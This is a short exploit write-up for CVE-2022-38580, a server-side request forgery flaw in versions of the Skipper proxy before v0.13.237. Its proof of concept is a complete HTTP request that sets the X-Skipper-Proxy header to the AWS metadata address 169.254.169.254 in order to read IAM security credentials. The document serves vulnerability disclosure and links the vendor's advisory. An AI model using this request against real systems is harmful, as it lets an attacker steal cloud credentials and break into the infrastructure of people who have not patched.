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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#Exploit Title: X-Skipper-Proxy v0.13.237 - Server Side Request Forgery (SSRF)
#Date: 24/10/2022
#Exploit Author: Hosein Vita & Milad Fadavvi
#Vendor Homepage: https://github.com/zalando/skipper
#Software Link: https://github.com/zalando/skipper
#Version: < v0.13.237
#Tested on: Linux
#CVE: CVE-2022-38580


Summary:

Skipper prior to version v0.13.236 is vulnerable to server-side request forgery (SSRF). An attacker can exploit a vulnerable version of proxy to access the internal metadata server or other unauthenticated URLs by adding an specific header (X-Skipper-Proxy) to the http request.


Proof Of Concept:

1- Add header "X-Skipper-Proxy"  to your request
2- Add the aws metadata to the path

GET /latest/meta-data/iam/security-credentials HTTP/1.1
Host: yourskipperdomain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
X-Skipper-Proxy: http://169.254.169.254
Connection: close




Reference:
https://github.com/zalando/skipper/security/advisories/GHSA-f2rj-m42r-6jm2